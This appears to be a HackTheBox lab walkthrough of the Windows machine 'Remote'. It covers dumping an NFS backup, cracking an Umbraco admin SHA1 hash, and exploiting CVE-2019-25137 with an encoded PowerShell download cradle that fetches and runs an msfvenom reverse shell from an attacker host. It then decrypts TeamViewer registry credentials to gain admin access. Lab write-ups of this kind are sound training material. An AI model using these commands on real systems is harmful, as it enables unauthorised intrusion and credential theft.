Remote is an easy-difficulty HackTheBox Windows machine that begins with enumerating an unauthenticated NFS share to exfiltrate web application backup files. Extracting the SQL Server Compact database file exposes a SHA1 hash for admin@htb.local, which is cracked offline to recover the password. Authenticating to the Umbraco CMS portal allows exploiting an XSLT Remote Code Execution vulnerability (CVE-2019-25137) to execute a PowerShell download cradle and establish an initial reverse shell. Local enumeration reveals an installation of legacy TeamViewer 7, which stores encrypted credentials in the Windows Registry using a globally known AES key. Decrypting these registry keys yields the unattended password, enabling WinRM authentication as administrator to achieve full host compromise and capture the root flag.
1. Network Reconnaissance & NFS Backup Exfiltration
1.1 Network Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap remote.htb -sC -sV -O -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-20 06:42 -0400 Nmap scan report for remote.htb (10.129.230.172) Host is up (0.48s latency). Not shown: 992 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd | ftp-syst: |_ SYST: Windows_NT |_ftp-anon: Anonymous FTP login allowed (FTP code 230) 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Home - Acme Widgets 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/tcp6 rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 2,3,4 111/udp6 rpcbind | 100003 2,3 2049/udp nfs | 100003 2,3 2049/udp6 nfs | 100003 2,3,4 2049/tcp nfs | 100003 2,3,4 2049/tcp6 nfs | 100005 1,2,3 2049/tcp mountd | 100005 1,2,3 2049/tcp6 mountd | 100005 1,2,3 2049/udp mountd | 100005 1,2,3 2049/udp6 mountd | 100021 1,2,3,4 2049/tcp nlockmgr | 100021 1,2,3,4 2049/tcp6 nlockmgr | 100021 1,2,3,4 2049/udp nlockmgr | 100021 1,2,3,4 2049/udp6 nlockmgr | 100024 1 2049/tcp status | 100024 1 2049/tcp6 status | 100024 1 2049/udp status |_ 100024 1 2049/udp6 status 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 2049/tcp open nlockmgr 1-4 (RPC #100021) 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=10/20%OT=21%CT=1%CU=39658%PV=Y%DS=2%DC=I%G=Y%TM=6AD747 OS:71%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=100%TI=I%CI=I%II=I%SS=S%TS OS:=U)SEQ(SP=102%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=103%GCD=1%IS OS:R=10A%TI=I%CI=I%II=I%SS=S%TS=U)SEQ(SP=105%GCD=1%ISR=10D%TI=I%CI=I%II=I%S OS:S=S%TS=U)SEQ(SP=FD%GCD=1%ISR=103%TI=I%CI=I%II=I%SS=S%TS=U)OPS(O1=M542NW8 OS:NNS%O2=M542NW8NNS%O3=M542NW8%O4=M542NW8NNS%O5=M542NW8NNS%O6=M542NNS)WIN( OS:W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%DF=Y%T=80%W=FFFF OS:%O=M542NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R OS:=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z% OS:A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=N) OS:U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%D OS:FI=N%T=80%CD=Z) Network Distance: 2 hops Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: 1d01h09m08s | smb2-time: | date: 2026-10-21T11:53:48 |_ start_date: N/A | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 464.23 seconds
Based on the scan results, the following services are running.
- Port 21 - FTP service enabled with anonymous access
- Port 80 - Website is running
- Port 111 - RPC service
- Port 135 - Microsoft Windows RPC
- Ports 139 and 445 - SMB Service
- Port 2049 - Network File System(NFS) service
- Port 5985 - WinRM
1.2 FTP Enumeration
I decided to enumerate the FTP service first, as it allows anonymous access. I was able to authenticate anonymously and log in, but the FTP directory is empty, and the anonymous user does have write access.
Connected to remote.htb. 220 Microsoft FTP Service Name (remote.htb:kali): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||49685|) 150 Opening ASCII mode data connection. 226 Transfer complete. ftp> pwd Remote directory: / ftp> put test.txt local: test.txt remote: test.txt 229 Entering Extended Passive Mode (|||49687|) 550 Access is denied.
1.3 SMB Enumeration
Since FTP enumeration yielded no results, I decided to enumerate SMB shares next. SMB share enumeration also provided no information to proceed because guest access is disabled.
SMB 10.129.230.172 445 REMOTE [*] Windows 10 / Server 2019 Build 17763 x64 (name:REMOTE) (domain:remote) (signing:False) (SMBv1:None) SMB 10.129.230.172 445 REMOTE [-] remote\guest: STATUS_ACCOUNT_DISABLED
1.4 Website Enumeration
Visiting http://remote.htb renders a website.
Looking around the website, I was able to find a login form for Umbraco CMS at http://remote.htb/umbraco/#/login/false?returnPath=%252Fforms. But I do not have any valid credentials to log in.
1.5 NFS Enumeration
Since I was not able to find any interesting information so far, I decided to enumerate NFS shares. By running showmount -e remote.htb, I was able to list the publicly available NFS shares.
Export list for remote.htb: /site_backups (everyone)
Since the /site_backups share is available, I decided to mount it and look around.
# create a mount point sudo mkdir -p /mnt/site_backups # mounting the share sudo mount -t nfs remote.htb:/site_backups /mnt/site_backups # enumerating files in mounted NFS share ls /mnt/site_backups
2. Database Analysis & Hash Cracking
2.1 Database Artifact Extraction
Looking around the files in the mounted NFS share, I was able to find a Microsoft SQL Server Compact Edition (SQL CE) database backup file Umbraco.sdf in the App_Data directory.
Since SQL CE databases store user accounts, configuration settings, and hashed passwords directly inside raw database tables, I should be able to extract the strings without importing the database into SQL Server.
2.2 String Extraction & Credential Harvesting
I was able to extract the strings from the file using the strings Umbraco.sdf | head command.
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv
qpkajLooking through the output, I was able to identify two sets of credentials.
admin@htb.local => b8be16afba8c314ad33d812f22a04991b90e2aaa (SHA1) smith@htb.local => jxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts= (HMACSHA256)
Since administrator hash is SHA1, I decided to try to crack it using hashcat.
...
Watchdog: Temperature abort trigger set to 90c
...
b8be16afba8c314ad33d812f22a04991b90e2aaa:baconandcheese
...
Started: Tue Oct 20 08:11:22 2026
Stopped: Tue Oct 20 08:11:55 2026Recovered Credentials are: email admin@htb.local and password baconandcheese
3. Umbraco CMS Authenticated RCE & User Flag
3.1 CMS Vulnerability Identification(CVE-2019-25137)
Using the harvested credentials, I was able to log in to the Umbraco CMS as an administrator. Looking around the help section of the CMS, I was able to identify the version of the CMS as Umbraco CMS version 7.12.4.
Umbraco CMS version 7.12.4 has a known authenticated Remote Code Execution vulnerability(CVE-2019-25137). The flaw exists within the Developer section's XSLT processing engine. Authenticated users with administrative rights can create or modify XSLT macro templates containing custom .NET XSLT extensions, enabling arbitrary command execution under the IIS application pool service account.
I found a POC script at CVE-2019-25137-RCE. By executing the script, I was able to confirm the RCE vulnerability availability.
[*] Initial GET /umbraco/ [*] Logging in... [+] Login successful. CSRF token obtained: 9NHISVDio9YO5a4weLYot8vh8WMCQxwPGF8uuQj3HgzLyqSiQpYhCZYKIpR-rjxQpcMhydjORFlTk_lv5YpdJ0XC-BYV6z0Igwe3dZ5Rgd-OXYWaf1J2vGc4TqmYaMCs0 [*] Sending XSLT payload... [+] Command output: iis apppool\defaultapppool
3.2 Exploitation and User Flag
One issue that this script had was that it failed to handle complex arguments that contain backslashes. Seems like it was failing on the target machine end. To overcome this, I was able to use Base64-encoded arguments.
To get a foothold on the target machine, I will need to create a reverse shell connection because using CVE-2019-25137.py with a Base64-encoded payload is not easy.
First, I was able to create an executable reverse shell exe using msfvenom.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 355 bytes Final size of exe file: 7168 bytes
After setting up a simple Python server using python3 -m http.server, I uploaded the reverse.exe file into the target machine.
python3 - <<'PY'
import base64
cmd = r"""Invoke-WebRequest -Uri http://10.10.16.36:8000/reverse.exe -OutFile C:\Windows\Temp\reverse.exe"""
print(base64.b64encode(cmd.encode("utf-16le")).decode())
PY
SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMwA2ADoAOAAwADAAMAAvAHIAZQB2AGUAcgBzAGUALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAcgBlAHYAZQByAHMAZQAuAGUAeABlAA==python3 CVE-2019-25137.py \ -u admin@htb.local \ -p baconandcheese \ -i http://remote.htb \ -c powershell \ -a "-NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4AMwA2ADoAOAAwADAAMAAvAHIAZQB2AGUAcgBzAGUALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGUAbQBwAFwAcgBlAHYAZQByAHMAZQAuAGUAeABlAA==" [*] Initial GET /umbraco/ [*] Logging in... [+] Login successful. CSRF token obtained: p_JS5uPyg_GVpqatw0vBrN8_9DUgD1xZ71QPcy5hThkFYKXwWn6DX9GGx5oUPo4qEf8VAPLpAjj_M5FAuMyhYFHuM41Qiw6fiRRts4b4DjiJlOxKM--v7Zq0NuBVG9_10 [*] Sending XSLT payload... [+] Command output:
Once the file was uploaded successfully, I was able to execute the file remotely to receive a reverse shell connection.
python3 - <<'PY'
import base64
cmd = r"""C:\Windows\Temp\reverse.exe"""
print(base64.b64encode(cmd.encode("utf-16le")).decode())
PY
QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXAByAGUAdgBlAHIAcwBlAC4AZQB4AGUApython3 CVE-2019-25137.py \ -u admin@htb.local \ -p baconandcheese \ -i http://remote.htb \ -c powershell \ -a "-NoProfile -ExecutionPolicy Bypass -EncodedCommand QwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXAByAGUAdgBlAHIAcwBlAC4AZQB4AGUA" [*] Initial GET /umbraco/ [*] Logging in... [+] Login successful. CSRF token obtained: XMU5tUlFX6-KBlXgyCPH7TZjNMxpaI9RIpwMHBwXeh4d_h9GllPvXSFqu74g4Agor723QlSOFNIwp2BRjR8njbAnETtnnhOta3d9fRYJeHAs_w-tQ5SdQ_SMZJW9vsEj0 [*] Sending XSLT payload... [+] Command output:
After setting a reverse shell listener using Metasploit, I was able to receive a reverse shell connection as iis apppool\defaultapppool.
Looking around the target machine's files and directories, I was able to retrieve the user flag from C:\Users\Public\Desktop.
C:\Users>cd Public
cd Public
C:\Users\Public>cd Desktop
cd Desktop
C:\Users\Public\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is D582-9880
Directory of C:\Users\Public\Desktop
01/09/2024 10:48 AM <DIR> .
01/09/2024 10:48 AM <DIR> ..
02/20/2020 03:14 AM 1,191 TeamViewer 7.lnk
10/21/2026 07:47 AM 34 user.txt
2 File(s) 1,225 bytes
2 Dir(s) 12,415,750,144 bytes free
C:\Users\Public\Desktop>type user.txt
type user.txt4. Privilege Escalation & Root Flag
4.1 Local Host Enumeration
I noticed that there is a TeamViewer desktop shortcut in C:\Users\Public\Desktop. Since this is a server, administrators might be using TeamViewer to log in for remote maintenance.
I was able to confirm the TeamViewer version as Version7 by checking the program files.
dir
Volume in drive C has no label.
Volume Serial Number is D582-9880
Directory of C:\Program Files (x86)\TeamViewer
02/20/2020 03:14 AM <DIR> .
02/20/2020 03:14 AM <DIR> ..
02/27/2020 11:35 AM <DIR> Version7
0 File(s) 0 bytes
3 Dir(s) 12,414,390,272 bytes freeTeamViewer versions 7 to 10 support unattended remote access, which requires storing the encrypted password within the Windows Registry.
4.2 Credential Extraction
Since I already have an active meterpreter connection to the target machine, I can use the post/windows/gather/credentials/teamviewer_passwords post-exploitation module to extract and decrypt the password.
meterpreter > background [*] Backgrounding session 1... msf exploit(multi/handler) > use post/windows/gather/credentials/teamviewer_passwords msf post(windows/gather/credentials/teamviewer_passwords) > show options Module options (post/windows/gather/credentials/teamviewer_passwords): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this module on WINDOW_TITLE TeamViewer no Specify a title for getting the window handle, e.g. TeamViewer View the full module info with the info, or info -d command. msf post(windows/gather/credentials/teamviewer_passwords) > set SESSION 1 SESSION => 1 msf post(windows/gather/credentials/teamviewer_passwords) > run [*] Finding TeamViewer Passwords on REMOTE [+] Found Unattended Password: !R3m0te! [+] Passwords stored in: /home/kali/.msf4/loot/20261020093022_default_10.129.230.172_host.teamviewer__053275.txt [*] <---------------- | Using Window Technique | ----------------> [*] TeamViewer's language setting options are '' [*] TeamViewer's version is '' [-] Unable to find TeamViewer's process [*] Post module execution completed msf post(windows/gather/credentials/teamviewer_passwords) >
4.3 Root Flag
I was able to use this extracted password and log in to the target machine as administrator using evil-winrm and retrieve the root flag from C:\Users\Administrator\Desktop.
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txtCongrats! We found both flags!
HTB Machine Completion
